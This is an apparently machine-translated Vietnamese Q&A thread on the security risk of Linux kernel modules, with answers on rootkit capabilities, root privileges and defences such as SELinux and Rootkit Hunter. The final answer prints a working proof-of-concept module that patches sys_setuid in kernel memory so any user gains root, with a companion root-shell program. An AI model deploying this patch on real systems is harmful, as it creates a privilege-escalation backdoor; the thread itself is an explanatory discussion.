2009-10-14 24 views
6

Nguy cơ bảo mật là các mô-đun hạt nhân Linux bao nhiêu? Tôi nhớ đọc rằng có thể nếu ai đó có quyền truy cập, rằng tất cả những gì họ phải làm là tải một mô-đun rootkit. Điều này có đúng không? Có cách nào để bảo vệ chống lại điều này không?Mô-đun hạt nhân Linux - nguy cơ bảo mật?

Phần nào của hạt nhân thực sự được hiển thị thông qua giao diện mô-đun và các lập trình viên có thể truy cập vào những chức năng nào, có thể được sử dụng cho mục đích không chính xác?

Trả lời

5

Điều Douglas nói là hoàn toàn chính xác, Linux là monolithic và mô-đun có thể làm mọi thứ. Đây là một sự lựa chọn thiết kế chủ yếu bởi Linus Thorvalds và phù hợp với triết lý nguồn mở (tại sao hạn chế, nó chi phí hiệu suất và bạn có thể thấy mô-đun làm gì từ nguồn - thực tế chỉ nói cho các nerds thực :-) -).

Bây giờ có thể bạn phải tải một số mô-đun nhị phân được gọi là từ bên thứ ba. Ngay cả khi chúng dường như được biên dịch, thường có một tệp đối tượng chung là hộp đen và chỉ các giao diện xung quanh nó mới được biên dịch (như đối với các trình điều khiển đồ họa nvidia mà tôi sử dụng). Không có câu trả lời xác định, nếu bạn tải các mô-đun như vậy, bạn phải tin tưởng nhà cung cấp, nếu không, đừng làm điều đó ...

Chỉ root mới có thể tải các mô-đun đúng theo lý thuyết. Trong thực tế, tuy nhiên không có hệ thống nào là hoàn hảo (kể cả Linux). Đôi khi có những lỗ hổng hạt nhân có thể làm cho người dùng cục bộ hoặc cho người dùng từ xa (trường hợp rất hiếm) giới thiệu mã vào nhân để họ có thể root quyền và do đó có thể kiểm soát hệ thống của bạn. Có một hạt nhân cập nhật là một điều tốt ...

Sau khi thực hiện điều này, hãy đi vào phần thứ hai của câu hỏi chưa được trả lời cho đến nay: "các lập trình viên có thể truy cập vào chức năng nào, có thể được sử dụng cho mục đích độc hại?". Nhiều người trong số những điều mà đang làm cho SE-Linux cũng có thể được sử dụng cho mục đích độc hại, như:

  • Ẩn thông tin trong /proc hoặc /sys thư mục, ví dụ ẩn các quy trình sử dụng độc hại vì vậy họ không được hiển thị trong các công cụ như top, ps v.v. Điều này bao gồm ẩn các mô-đun độc hại chính nó để nó không được liệt kê trong lsmod.
  • ghi nhật ký và ghi lại các nét chính ...
  • gửi dữ liệu đến thế giới bên ngoài. Không có mô-đun hạt nhân cần kết nối với một trang web và gửi thông tin (ngoại trừ ngăn xếp mạng trong mã Linux ban đầu), nếu mã cho mô-đun thực hiện điều gì đó có mùi nặng. Nếu một số chuỗi được mã hóa và giải mã để thực hiện một số hoạt động nó có mùi thậm chí tệ hơn ...
  • ...

Danh sách này là lớn, nếu bạn muốn biết thêm chi tiết bạn có thể có một cái nhìn tại Rootkit Hunter (http://www.rootkit.nl/projects/rootkit_hunter.html). Nó là một công cụ tôi chạy theo thời gian. Nó có thể phát hiện sự hiện diện của một số được sử dụng rộng rãi rootkits. Nó quản lý một danh sách các rootkit và googling tên sẽ làm cho bạn rõ ràng những loại mục tiêu những con thú đang theo dõi ... Giống như Douglas cho biết, các chức năng có thể được sử dụng thực sự là tất cả các chức năng có sẵn trong hạt nhân, không hạn chế. Vì vậy, nói nếu một mô-đun là một kẻ xấu hay không không phải là một điều hiển nhiên.

6

Một mô-đun hạt nhân đang chạy với các đặc quyền hạt nhân đầy đủ - nó có thể làm bất cứ điều gì hạt nhân có thể làm, mà là khá nhiều bất cứ điều gì. Một mô đun hoạt động tốt sẽ hạn chế các hành động của nó đối với các hàm được xuất khẩu dưới dạng ký hiệu của hạt nhân, nhưng không có gì ngăn cản mô-đun gọi bất kỳ hàm tùy ý nào có địa chỉ hoặc thực thi mã tương đương với bất kỳ hàm hiện có nào.

Bảo vệ là chỉ root mới có thể tải các mô-đun hạt nhân.

Gốc có thể làm cho máy trở thành bất cứ thứ gì, vì vậy rủi ro gia tăng là không đáng kể. Để làm rõ - tải một mô-đun có thể cho phép root ẩn tốt hơn hoặc hoạt động tấn công với ít thông tin hơn về hệ thống, nhưng về nguyên tắc, vì root có thể ghi đè lên hình ảnh hạt nhân và khởi động lại hệ thống vào hình ảnh đó, một mô-đun hạt nhân có thể làm. Vì/dev/kmem nói chung không thể ghi được, có khả năng là một quá trình gốc không gian người dùng sẽ bị hạn chế trong những gì nó có thể làm so với một mô-đun hạt nhân, nhưng viết lại và khởi động lại có thể 'sửa' điều này.

Cũng có thể có các lựa chọn thay thế để thay đổi bộ nhớ hạt nhân, ví dụ: nếu bạn muốn ẩn một quy trình, bạn có thể sử dụng mô-đun có thể tải hoặc bạn chỉ có thể thay thế ps bằng phiên bản bị tấn công.

Tương tự để ẩn tệp, bạn có thể sử dụng mô-đun hạt nhân hoặc bạn chỉ có thể thay thế ls.

+0

Bạn chỉ đang giả định người quản trị (vật lý & hợp pháp) của máy có đặc quyền root, mà là khá thường xuyên không phải là trường hợp. :) LKMs có thể làm công cụ gốc biết hoàn toàn không có gì về. –

1

Bạn có thể muốn kiểm tra này ra Wikipedia

Nói một mô-đun hạt nhân là nguy hiểm, cũng giống như nói một trình điều khiển trên cửa sổ là nguy hiểm. Họ chắc chắn có thể, nhưng thường thì không. Như Mr.Leeder, root đã nói có thể làm khá nhiều thứ, nhưng tôi nghi ngờ nó có thể gọi trực tiếp hạt nhân của api, nó sẽ cần nạp một mô-đun hạt nhân cho điều đó (mà rõ ràng là nó có thể).

+0

Tôi nghĩ rằng các vòng không thường được sử dụng trong máy tính X86? Tôi chắc chắn tôi nghe điều đó? –

+1

Chỉ có hai vòng - 0 & 3 tôi nghĩ. –

+0

root có thể ghi đè lên hình ảnh hạt nhân, và khởi động lại hệ thống, do đó, nó có thể có quyền kiểm soát hoàn toàn nếu nó muốn (với chi phí khởi động lại rõ ràng phải thừa nhận) –

0

Chỉ muốn nói thêm rằng mảnh tài liệu: Linux Kernel Modules HOWTO

Tôi nghĩ rằng nó sẽ làm sáng tỏ một số suy nghĩ của bạn về vấn đề an ninh.

0

Nếu bạn quan tâm quá nhiều, SELinux là bạn của bạn.

Nếu root có thể hoạt động như ... root ... là một vấn đề trong môi trường của bạn, có một số cấu hình Linux thay thế khi root không chỉ giúp bạn. Đối với một thứ có độ bảo mật cao hơn, hãy thử một trong các đánh giá * IX O/Ses (Tôi đã đưa ra một số đánh giá, nhưng không có đánh giá nào là O/S mở) hoặc đi với một O/S vốn đã an toàn hơn, như vậy như một cái gì đó của thông điệp-đa dạng mà một "máy chủ" không chạy trong vòng 0/giám sát/chế độ hạt nhân.

0

Đã có câu trả lời cấp chung tốt. Cách xem xét vấn đề này ở cấp mã ví dụ, làm rõ hơn mức độ dễ bị tổn thương của Linux nếu mô-đun được cài đặt.

My dụ module:

#include <linux/version.h> 
    #include <linux/module.h> 
    #include <linux/highmem.h> 
    #include <asm/unistd.h> 
    char *p; 
    int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map       
     { pte_t *pte1; 
      unsigned int dummy_but_needed; 
      p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx 
      pte1 = lookup_address((unsigned long long)p, &dummy_but_needed); 
      pte1->pte |= _PAGE_RW; //Now the code page is writable   
      *(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75". 
      return -1; // Insmod complains and module disappears from the system but module did it's work already    
     } 
    MODULE_LICENSE("GPL");//We don't need cleanup_module 

Các chương trình thử nghiệm cho người sử dụng đặc quyền siêu trên thiết bị đầu cuối cấp độ người dùng:

int main() 
     { 
     setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;"); 
     system("/bin/bash"); //rax=system call nr and rdi=first parameter 
     } 

Đây có phải là một rootkit nguy hiểm không? Không. Để tìm địa chỉ sys_setuid, bạn phải có quyền root! Và thực tế mọi hệ thống đều có địa chỉ này khác nhau.

Dù sao, điều này cho thấy thao tác dễ dàng như thế nào. Trong thực tế, rất dễ thay thế hằng số đã sử dụng bằng các phương thức động (thời gian chạy) - không được trình bày ở đây. (Đây sẽ là một rootkit.Tôi đã thử nó và không có chương trình săn rootkit hiện tại nào có khả năng tìm ra nó ngay cả khi nó tồn tại và đã thực hiện mọi cuộc gọi hệ thống.)

Tôi đã thử nghiệm điều này với Kernel 3.2 và AMD64. KHÔNG LÀM VIỆC TRÊN NHIỀU KHÁC!

(làm thế nào để tìm hằng số cần thiết:

xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic 
    [sudo] password for xxxx: 
    ffffffff8107f3a0 T sys_setuid 
    ffffffff810a23f0 T sys_setuid16 

)

Các vấn đề liên quan